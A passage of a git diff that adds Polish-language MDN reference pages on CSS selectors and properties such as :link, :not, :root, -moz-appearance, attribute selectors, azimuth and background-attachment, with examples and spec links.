+<p>Powyższy zapis pogrubi czcionkę wewnątrz wszystkich elementów <code>span</code>, które są ostatnimi dziećmi swoich rodziców. Zostaną tutaj pogrubione słowa "<b>drugi</b>": </p>
+<ol><li> W pierwszym przypadku span o id <code>dsecond</code> jest ostatnim dzieckiem elementu <code>div</code>
+</li><li> W drugim przypadku span o id <code>second</code> jest ostatnim dzieckiem elementu <code>body</code>
+</li></ol>
+<p><br>
+</p>
+<pre class="eval">div:first-child:last-child { background-color: red; }
+</pre>
+<p>Ten przykład ustawi czerwony kolor tła wszystkim elementom <code>div</code>, które są jedynymi dziećmi swojego rodzica.
+</p><p><br>
+</p>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref(":first-child") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/:last-child", "fr": "fr/CSS/:first-child" } ) }}
diff --git a/files/pl/web/css/_colon_link/index.html b/files/pl/web/css/_colon_link/index.html
new file mode 100644
index 0000000000..6fb07d5479
--- /dev/null
+++ b/files/pl/web/css/_colon_link/index.html
@@ -0,0 +1,70 @@
+---
+title: ':link'
+slug: 'Web/CSS/:link'
+tags:
+ - CSS
+ - CSS Psuedo-class
+ - Web
+translation_of: 'Web/CSS/:link'
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie"><span id="result_box" lang="pl"><span>Podsumowanie</span></span></h2>
+
+<p>Pseudo-klasa :link pozwala wybrać linki wewnątrz elementów. Dzięki niej możesz wybrać każdy link, który nie został jeszcze odwiedzony, nawet taki, który ma już nadane wartości za pomocą innych pseudo-klas, takich jak: {{ cssxref(":hover") }}, {{ cssxref(":active") }} lub {{ cssxref(":visited") }}. W celu odpowiedniej stylizacji linków musisz wstawić pseudo-klasę :link na początku, według kolejności LVHA:<code> :link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>. Pseudo-klasa {{ cssxref(":focus") }} jest zazwyczaj ustawiana przed lub po pseudo-klasie <code>:hover</code> (w zależności od oczekiwanego efektu).</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: css">a:link {color: slategray;}
+.external:link {background-color: lightblue;}</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a href="https://html.spec.whatwg.org/multipage/scripting.html#selector-link">WHATWG HTML Living Standard</a></li>
+ <li><a href="https://drafts.csswg.org/selectors-4/#link">Selectors Level 4</a></li>
+ <li><a href="https://drafts.csswg.org/selectors-3/#link">Selectors Level 3</a></li>
+ <li><a href="https://www.w3.org/TR/CSS2/selector.html#link-pseudo-classes">CSS Level 2 (Revision 1)</a></li>
+ <li><a href="https://www.w3.org/TR/CSS1/#anchor-pseudo-classes">CSS Level 1</a></li>
+</ul>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Kompatybilność z przeglądarkami</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><strong>Przeglądarka </strong></td>
+ <td><strong>Najniższa wersja </strong></td>
+ </tr>
+ <tr>
+ <td>Chrome</td>
+ <td>4.0</td>
+ </tr>
+ <tr>
+ <td>Edge</td>
+ <td>7.0</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>2.0</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>3.1</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>9.6</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{ cssxref(":visited") }}, {{ cssxref(":hover") }}, {{ cssxref(":active") }}</li>
+</ul>
diff --git a/files/pl/web/css/_colon_not/index.html b/files/pl/web/css/_colon_not/index.html
new file mode 100644
index 0000000000..a9c87058d8
--- /dev/null
+++ b/files/pl/web/css/_colon_not/index.html
@@ -0,0 +1,73 @@
+---
+title: ':not'
+slug: 'Web/CSS/:not'
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: 'Web/CSS/:not'
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Pseudoklasa <code>:not</code> sprawia, iż własności są stosowane do elementów, które nie spełniają podanego kryterium.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval notranslate">selektor:not(selektor) { własności }
+</pre>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<pre class="eval notranslate">*:not(DIV) { color: red; }
+</pre>
+
+<p>Przykład nada czerwony kolor czcionki wszystkim elementom za wyjątkiem elementów <code>DIV</code>.</p>
+
+<pre class="eval notranslate">input:not([DISABLED]) { border-color: green; }
+</pre>
+
+<p>Przykład nada wszystkim elementom <code>INPUT</code>, które są aktywne (nie są <code>DISABLED</code>), zmieni kolor obramowania na zielone.</p>
+
+<pre class="eval notranslate">input:not([TYPE=PASSWORD]) {<em>własności</em> }
+</pre>
+
+<p>Przykład przydzieli własności wszystkim elementom <code>INPUT</code>, które mają atrybut <code>TYPE</code> inny niż <code>PASSWORD</code>.</p>
+
+<pre class="eval notranslate">*:not(P) {<em>własności</em> }
+</pre>
+
+<p>Przykład przydzieli własności wszystkim elementom innym, niż <code>P</code>.</p>
+
+<pre class="eval notranslate">a:not(:hover) {<em>własności</em> }
+</pre>
+
+<p>Przykład nada własności wszystkim elementom <code>A</code>, na których nie stoi kursor. Jest to równoważne z:</p>
+
+<pre class="eval notranslate">a:link:visited {<em>własności</em> }
+</pre>
+
+
+
+<pre class="eval notranslate">body &gt; input:not([disabled]):not([type=text]) {<em>własności</em> }
+</pre>
+
+<p>Przykład przypisze własności wszystkim elementom <code>INPUT</code>, które są dziećmi <code>BODY</code> oraz, które nie mają atrybutu <code>DISABLED</code> i jednocześnie nie są typu <code>TEXT</code>.</p>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Pseudoklasa <code>:not</code> nie może być negowana przez inne <code>:not</code>.</p>
+
+
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#negation">CSS 3</a></li>
+</ul>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref(":before") }}, {{ Cssxref(":after") }}, {{ Cssxref("content") }}, {{ Cssxref(":empty") }}</p>
diff --git a/files/pl/web/css/_colon_root/index.html b/files/pl/web/css/_colon_root/index.html
new file mode 100644
index 0000000000..850a9e8277
--- /dev/null
+++ b/files/pl/web/css/_colon_root/index.html
@@ -0,0 +1,26 @@
+---
+title: ':root'
+slug: 'Web/CSS/:root'
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: 'Web/CSS/:root'
+---
+<p>{{ CSSRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Pseudoklasa <code>:root</code> odnosi się do głównego węzła dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">selektor:root {<i>własności</i> }
+</pre>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="eval">*:root { margin: 0; }
+</pre>
+<p>Przykład głównemu węzłowi dokumentu ustawi margines na zero.</p>
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+<p>W HTML4 głównym węzłem dokumentu jest zawsze element <code>HTML</code>.</p>
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+<p><a class="external" href="http://www.w3.org/TR/css3-selectors/#root-pseudo">CSS 3</a></p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<p>{{ Cssxref(":empty") }}, {{ Cssxref(":not") }}</p>
diff --git a/files/pl/web/css/appearance/index.html b/files/pl/web/css/appearance/index.html
new file mode 100644
index 0000000000..fb3d059ffe
--- /dev/null
+++ b/files/pl/web/css/appearance/index.html
@@ -0,0 +1,96 @@
+---
+title: '-moz-appearance'
+slug: Web/CSS/appearance
+tags:
+ - CSS
+ - Non-standard
+translation_of: Web/CSS/appearance
+---
+<p>{{Non-standard_header}}{{CSSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>-moz-appearance</code> jest używane przez przeglądarki bazujące na Mozilli do wyświetlania elementu przy użyciu natywnego dla platformy wyglądu, opartego na temacie systemu operacyjnego.</p>
+
+<ul>
+ <li>Wartość początkowa: none</li>
+ <li>Dotyczy: wszystkich elementów</li>
+ <li>Dziedziczony: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Wartość wyliczona: jako określone</li>
+</ul>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">-moz-appearance:<em>appearance value</em>
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>none</dt>
+ <dd>Żaden specjalny wygląd nie jest stosowany. (Domyślnie)</dd>
+ <dt>button</dt>
+ <dd>Element jest rysowany jak przycisk (<em>button</em>).</dd>
+ <dt>button-small</dt>
+ <dd>Element jest rysowany jak mały przycisk (<em>small button</em>).</dd>
+ <dt>checkbox</dt>
+ <dd>Element jest rysowany jak pole wyboru (<em>checbox</em>), uwzględniając tylko stan bieżący (<em>actual</em>) pola wyboru.</dd>
+ <dt>checkbox-container</dt>
+ <dd>Element jest rysowany jak kontener dla pola wyboru, który może zawierać efekt podświetlanego tła pod określoną platformą. Zazwyczaj powinien zawierać etykietę (<em>label</em>) oraz pole wyboru.</dd>
+ <dt>checkbox-small</dt>
+ <dt>dialog</dt>
+ <dd>Element jest stylizowany jak pole dialogowe (<em>dialog box</em>), które zawiera kolor tła i inne własności.</dd>
+ <dt>listbox</dt>
+ <dt>menuitem</dt>
+ <dd>Element jest stylizowany jak pozycja menu (<em>menu item</em>), pozycja jest podświetlana po najechaniu.</dd>
+ <dt>menulist</dt>
+ <dt>menulist-button</dt>
+ <dd>Element jest stylizowany jak przycisk (<em>button</em>), który może wskazywać, że listę menu (<em>menulist</em>) można otworzyć.</dd>
+ <dt>menulist-textfield</dt>
+ <dd>Element jest stylizowany jak pole tekstowe (<em>text field</em>) dla listy menu (<em>menulist</em>).</dd>
+ <dt>menupopup</dt>
+ <dt>progressbar</dt>
+ <dd>Element jest stylizowany jak pasek postępu (<em>progress bar</em>).</dd>
+ <dt>radio</dt>
+ <dd>Element jest stylizowany jak przycisk typu radio (<em>radio button</em>), uwzględniając tylko stan bieżący (<em>actual</em>) przycisku radio.</dd>
+ <dt>radio-container</dt>
+ <dd>Element jest rysowany jak kontener przycisku radio, który może zawierać efekt podświetlanego tła pod określoną platformą. Zazwyczaj powinien zawierać etykietę (<em>label</em>) oraz przycisk radio.</dd>
+ <dt>radio-small</dt>
+ <dt>resizer</dt>
+ <dt>scrollbar</dt>
+ <dt>scrollbarbutton-down</dt>
+ <dt>scrollbarbutton-left</dt>
+ <dt>scrollbarbutton-right</dt>
+ <dt>scrollbarbutton-up</dt>
+ <dt>scrollbartrack-horizontal</dt>
+ <dt>scrollbartrack-vertical</dt>
+ <dt>separator</dt>
+ <dt>statusbar</dt>
+ <dt>tab</dt>
+ <dt>tab-left-edge</dt>
+ <dt>tabpanels</dt>
+ <dt>textfield</dt>
+ <dt>toolbar</dt>
+ <dt>toolbarbutton</dt>
+ <dt>toolbox</dt>
+ <dt>tooltip</dt>
+ <dt>treeheadercell</dt>
+ <dt>treeheadersortarrow</dt>
+ <dt>treeitem</dt>
+ <dt>treetwisty</dt>
+ <dt>treetwistyopen</dt>
+ <dt>treeview</dt>
+ <dt>window</dt>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre>.exampleone {
+ -moz-appearance: toolbarbutton;
+}
+</pre>
+
+<h2 id="Notatki" name="Notatki">Notatki</h2>
+
+<p>Ta własność jest często używana w arkuszach stylów <a href="pl/XUL">XUL</a> do projektowania zwyczajnych dla platformy widżetów oraz w implementacjach <a href="pl/XBL">XBL</a> widżetów, które pochodzą z platformy mozilla.</p>
diff --git a/files/pl/web/css/attribute_selectors/index.html b/files/pl/web/css/attribute_selectors/index.html
new file mode 100644
index 0000000000..93ffda8fec
--- /dev/null
+++ b/files/pl/web/css/attribute_selectors/index.html
@@ -0,0 +1,238 @@
+---
+title: Selektory artybutów
+slug: Web/CSS/Attribute_selectors
+translation_of: Web/CSS/Attribute_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Selektor atrybutów </strong>CSS dopasowuje elementy w oparciu o obecność lub wartość danego atrybutu.</p>
+
+<pre class="brush: css no-line-numbers">/* &lt;a&gt; Element z artybutem "title" */
+a[title] {
+ color: purple;
+}
+
+/* &lt;a&gt; elemente href zawierajacy "https://example.org" */
+a[href="https://example.org"] {
+ color: green;
+}
+
+/* &lt;a&gt; element href zawirający "example" */
+a[href*="example"] {
+ font-size: 2em;
+}
+
+/* &lt;a&gt; elementy href kończące się na ".org" */
+a[href$=".org"] {
+ font-style: italic;
+}
+
+/* &lt;a&gt; elementy, których atrybut klasy zawiera słowo "logo" */
+a[class~="logo"] {
+ padding: 2px;
+}</pre>
+
+<h2 id="Syntax">Syntax</h2>
+
+<dl>
+ <dt><code>[<em>attr</em>]</code></dt>
+</dl>
+
+<p>Reprezentuje elementy z atrybutem o nazwie attr.</p>
+
+<dl>
+ <dt><code>[<em>attr</em>=<em>value</em>]</code></dt>
+ <dd>Reprezentuje elementy z atrybutem o nazwie attr, którego wartością jest "value".</dd>
+ <dt><code>[<em>attr</em>~=<em>value</em>]</code></dt>
+ <dd>Represents elements with an attribute name of <em>attr</em> whose value is a whitespace-separated list of words, one of which is exactly <em>value</em>.</dd>
+ <dt><code>[<em>attr</em>|=<em>value</em>]</code></dt>
+ <dd>Represents elements with an attribute name of <em>attr</em> whose value can be exactly <em>value</em> or can begin with <em>value</em> immediately followed by a hyphen, <code>-</code> (U+002D). It is often used for language subcode matches.</dd>
+ <dt><code>[<em>attr</em>^=<em>value</em>]</code></dt>
+ <dd>Represents elements with an attribute name of <em>attr</em> whose value is prefixed (preceded) by <em>value</em>.</dd>
+ <dt><code>[<em>attr</em>$=<em>value</em>]</code></dt>
+ <dd>Represents elements with an attribute name of <em>attr</em> whose value is suffixed (followed) by <em>value</em>.</dd>
+ <dt><code>[<em>attr</em>*=<em>value</em>]</code></dt>
+ <dd>Represents elements with an attribute name of <em>attr</em> whose value contains at least one occurrence of <em>value</em> within the string.</dd>
+ <dt id="case-insensitive"><code>[<em>attr</em> <em>operator</em> <em>value</em> i]</code></dt>
+ <dd>Adding an <code>i</code> (or <code>I</code>) before the closing bracket causes the value to be compared case-insensitively (for characters within the ASCII range).</dd>
+ <dt id="case-sensitive"><code>[<em>attr</em> <em>operator</em> <em>value</em> s]</code> {{Experimental_Inline}}</dt>
+ <dd>Adding an <code>s</code> (or <code>S</code>) before the closing bracket causes the value to be compared case-sensitively (for characters within the ASCII range).</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Links">Links</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a {
+ color: blue;
+}
+
+/* Internal links, beginning with "#" */
+a[href^="#"] {
+ background-color: gold;
+}
+
+/* Links with "example" anywhere in the URL */
+a[href*="example"] {
+ background-color: silver;
+}
+
+/* Links with "insensitive" anywhere in the URL,
+ regardless of capitalization */
+a[href*="insensitive" i] {
+ color: cyan;
+}
+
+/* Links with "cAsE" anywhere in the URL,
+with matching capitalization */
+a[href*="cAsE" s] {
+  color: pink;
+}
+
+/* Links that end in ".org" */
+a[href$=".org"] {
+ color: red;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;&lt;a href="#internal"&gt;Internal link&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="http://example.com"&gt;Example link&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="#InSensitive"&gt;Insensitive internal link&lt;/a&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;a href="http://example.org"&gt;Example org link&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Links")}}</p>
+
+<h3 id="Languages">Languages</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">/* All divs with a `lang` attribute are bold. */
+div[lang] {
+ font-weight: bold;
+}
+
+/* All divs without a `lang` attribute are italicized. */
+div:not([lang]) {
+ <span class="st">font-style: italic;</span>
+}
+
+/* All divs in US English are blue. */
+div[lang~="en-us"] {
+ color: blue;
+}
+
+/* All divs in Portuguese are green. */
+div[lang="pt"] {
+ color: green;
+}
+
+/* All divs in Chinese are red, whether
+ simplified (zh-CN) or traditional (zh-TW). */
+div[lang|="zh"] {
+ color: red;
+}
+
+/* All divs with a Traditional Chinese
+ `data-lang` are purple. */
+/* Note: You could also use hyphenated attributes
+ without double quotes */
+div[data-lang="zh-TW"] {
+ color: purple;
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div lang="en-us en-gb en-au en-nz"&gt;Hello World!&lt;/div&gt;
+&lt;div lang="pt"&gt;Olá Mundo!&lt;/div&gt;
+&lt;div lang="zh-CN"&gt;世界您好!&lt;/div&gt;
+&lt;div lang="zh-TW"&gt;世界您好!&lt;/div&gt;
+&lt;div data-lang="zh-TW"&gt;世界您好!&lt;/div&gt;
+</pre>
+
+<h4 id="Result_2">Result</h4>
+
+<p>{{EmbedLiveSample("Languages")}}</p>
+
+<h3 id="HTML_ordered_lists">HTML ordered lists</h3>
+
+<p>The HTML specification requires the {{htmlattrxref("type", "input")}} attribute to be matched case-insensitively due to it primarily being used in the {{HTMLElement("input")}} element, trying to use attribute selectors to with the {{htmlattrxref("type", "ol")}} attribute of an {{HTMLElement("ol", "ordered list")}} doesn't work without the <a href="#case-sensitive">case-sensitive</a> modifier.</p>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">/* List types require the case sensitive flag due to a quirk in how HTML treats the type attribute. */
+ol[type="a"] {
+ list-style-type: lower-alpha;
+ background: red;
+}
+
+ol[type="a" s] {
+ list-style-type: lower-alpha;
+ background: lime;
+}
+
+ol[type="A" s] {
+ list-style-type: upper-alpha;
+ background: lime;
+}</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html;">&lt;ol type="A"&gt;
+  &lt;li&gt;Example list&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="Result_3">Result</h4>
+
+<p>{{EmbedLiveSample("HTML_ordered_lists")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS4 Selectors", "#attribute-selectors", "attribute selectors")}}</td>
+ <td>{{Spec2("CSS4 Selectors")}}</td>
+ <td>Adds modifier for ASCII case-sensitive and case-insensitive attribute value selection.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS3 Selectors", "#attribute-selectors", "attribute selectors")}}</td>
+ <td>{{Spec2("CSS3 Selectors")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "selector.html#attribute-selectors", "attribute selectors")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.selectors.attribute")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{CSSxRef("attr")}}</li>
+ <li>Selecting a single element: {{DOMxRef("Document.querySelector()")}}, {{DOMxRef("DocumentFragment.querySelector()")}}, or {{DOMxRef("Element.querySelector()")}}</li>
+ <li>Selecting all matching elements: {{DOMxRef("Document.querySelectorAll()")}}, {{DOMxRef("DocumentFragment.querySelectorAll()")}}, or {{DOMxRef("Element.querySelectorAll()")}}</li>
+ <li>The above methods are all implemented based on the {{DOMxRef("ParentNode")}} mixin; see {{DOMxRef("ParentNode.querySelector()")}} and {{DOMxRef("ParentNode.querySelectorAll()")}}</li>
+</ul>
diff --git a/files/pl/web/css/azimuth/index.html b/files/pl/web/css/azimuth/index.html
new file mode 100644
index 0000000000..2841b5441e
--- /dev/null
+++ b/files/pl/web/css/azimuth/index.html
@@ -0,0 +1,97 @@
+---
+title: azimuth
+slug: Web/CSS/azimuth
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Archive/Web/CSS/azimuth
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>W połączeniu z <code><a href="pl/CSS/elevation">elevation</a></code>, <code>azimuth</code> umożliwia ustawianie różnych źródeł audio w przestrzeni i wykorzystywanie ich do prezentacji słuchowych. Jest to ważne w związku z tym, że dostarcza to naturalnego sposobu do odtwarzania kilku głosów w oddali, przy czym każdy z nich może pojawić się w innym miejscu strefy dźwięku. Wyjście stereofoniczne wytwarza boczną strefę dźwięku, podczas gdy obuuszne słuchawki i wielogłośnikowe zestawy pozwalają na pełną trójwymiarową strefę.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: center</li>
+ <li>Stosowany do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: tak</li>
+ <li>Procenty: N/A</li>
+ <li>Media: {{cssxref("aural")}}</li>
+ <li>{{ Xref_csscomputed() }}: normalizowany kąt</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">azimuth:<em>angle</em> | [[ left-side | far-left | left |
+ center-left | center | center-right | right |
+ far-right | right-side ] || behind ] | leftwards |
+ rightwards | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>angle </dt>
+ <dd>Słyszalna pozycja źródła jest opisywana jako kąt z zakresu <code>-360 stopni</code> do <code>360 stopni</code>. Wartość <code>0stopni</code> znaczy dokładnie z przodu w centrum strefy dźwięku (to jest wartość domyślna). <code>90 stopni</code> jest na prawo, <code>180 stopni</code> z tyłu, i <code>270 stopni</code> lub <code>-90 stopni</code> jest na lewo.</dd>
+</dl>
+
+<p><img alt="grafika:Azimuth.png"></p>
+
+<p> </p>
+
+<h4 id="S.C5.82owa_kluczowe_do_ustawiania_pozycji" name="S.C5.82owa_kluczowe_do_ustawiania_pozycji">Słowa kluczowe do ustawiania pozycji</h4>
+
+<ul>
+ <li><strong>left-side</strong>: Tak samo jak <code>270 stopni</code>.</li>
+ <li><strong>left-side behind</strong>: Tak samo jak <code>270 stopni</code>.</li>
+ <li><strong>far-left</strong>: Tak samo jak <code>300 stopni</code>.</li>
+ <li><strong>far-left behind</strong>: Tak samo jak <code>240 stopni</code>.</li>
+ <li><strong>left</strong>: Tak samo jak <code>320 stopni</code>.</li>
+ <li><strong>left behind</strong>: Tak samo jak <code>220 stopni</code>.</li>
+ <li><strong>center-left</strong>: Tak samo jak <code>340 stopni</code>.</li>
+ <li><strong>center-left behind</strong>: Tak samo jak <code>200 stopni</code>.</li>
+ <li><strong>center</strong>: Tak samo jak <code>0 stopni</code>.</li>
+ <li><strong>center behind</strong>: Tak samo jak <code>180 stopni</code>.</li>
+ <li><strong>center-right</strong>: Tak samo jak <code>20 stopni</code>.</li>
+ <li><strong>center-right behind</strong>: Tak samo jak <code>160 stopni</code>.</li>
+ <li><strong>right</strong>: Tak samo jak <code>40 stopni</code>.</li>
+ <li><strong>right behind</strong>: Tak samo jak <code>140 stopni</code>.</li>
+ <li><strong>far-right</strong>: Tak samo jak <code>60 stopni</code>.</li>
+ <li><strong>far-right behind</strong>: Tak samo jak <code>120 stopni</code>.</li>
+ <li><strong>right-side</strong>: Tak samo jak <code>90 stopni</code>.</li>
+ <li><strong>right-side behind</strong>: Tak samo jak <code>90 stopni</code>.</li>
+ <li><strong>behind</strong>: Tak samo jak <code>180 stopni</code>. Także używane jako modyfikator dla innych słów kluczowych do ustawiania pozycji, takich jak powyżej.</li>
+ <li><strong>leftwards</strong>: Przesuwa dźwięk przeciwnie do kierunku ruchu wskazówek zegara o 20 stopni, w stosunku do obecnego kąta.</li>
+ <li><strong>rightwards</strong>: Przesuwa dźwięk zgodnie z kierunkiem ruchu wskazówek zegara o 20 stopni, w stosunku do obecnego kąta.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<pre>h1 { azimuth: 30deg }
+td.a { azimuth: far-right } /* 60 stopni */
+#12 { azimuth: behind far-right } /* 120 stopni */
+p.comment { azimuth: behind } /* 180 stopni */
+</pre>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/aural.html#spatial-props">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<p>TBD (może być porzucone ze względu na listę centralnej zgodności)</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("elevation") }}</p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/azimuth", "es": "es/CSS/azimuth", "fr": "fr/CSS/azimuth", "zh-cn": "cn/CSS/azimuth" } ) }}</p>
diff --git a/files/pl/web/css/background-attachment/index.html b/files/pl/web/css/background-attachment/index.html
new file mode 100644
index 0000000000..636e991bdf
--- /dev/null
+++ b/files/pl/web/css/background-attachment/index.html
@@ -0,0 +1,124 @@
+---
+title: background-attachment
+slug: Web/CSS/background-attachment
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/background-attachment
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Jeśli {{ Cssxref("background-image") }} jest określone, <code>background-attachment</code> decyduje, czy położenie danego obrazka jest stałe względem okna, czy też przewija się wraz z zawierającym go blokiem.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">background-attachment: scroll | fixed | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>scroll </dt>
+ <dd>Jeśli zdefiniowane jest <code>scroll</code>, obrazek tła będzie się przewijał wewnątrz okna wraz z zawierającym go blokiem.</dd>
+ <dt>fixed </dt>
+ <dd>Jeśli zdefiniowane jest <code>fixed</code>, obrazek tła nie będzie się przewijał z zawierającym go blokiem, zamiast tego pozostanie nieruchomy względem okna.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Simple_example">Simple example</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css; highlight:[3];">p {
+ background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+ background-attachment: fixed;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+ There were doors all round the hall, but they were all locked; and when
+ Alice had been all the way down one side and up the other, trying every
+ door, she walked sadly down the middle, wondering how she was ever to
+ get out again.
+&lt;/p&gt;</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Simple_example")}}</p>
+
+<h3 id="Multiple_background_image_support">Multiple background image support</h3>
+
+<p>This property supports multiple background images. You can specify a different <code>&lt;attachment&gt;</code> for each background, separated by commas. Each image is matched with the corresponding attachment type, from first specified to last.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css; highlight:[3];">p {
+ background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+ background-attachment: fixed, scroll;
+ background-repeat: no-repeat, repeat-y;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+ There were doors all round the hall, but they were all locked; and when
+ Alice had been all the way down one side and up the other, trying every
+ door, she walked sadly down the middle, wondering how she was ever to
+ get out again.
+
+ Suddenly she came upon a little three-legged table, all made of solid
+ glass; there was nothing on it except a tiny golden key, and Alice's
+ first thought was that it might belong to one of the doors of the hall;
+ but, alas! either the locks were too large, or the key was too small,
+ but at any rate it would not open any of them. However, on the second
+ time round, she came upon a low curtain she had not noticed before, and
+ behind it was a little door about fifteen inches high: she tried the
+ little golden key in the lock, and to her great delight it fitted!
+&lt;/p&gt;</pre>
+
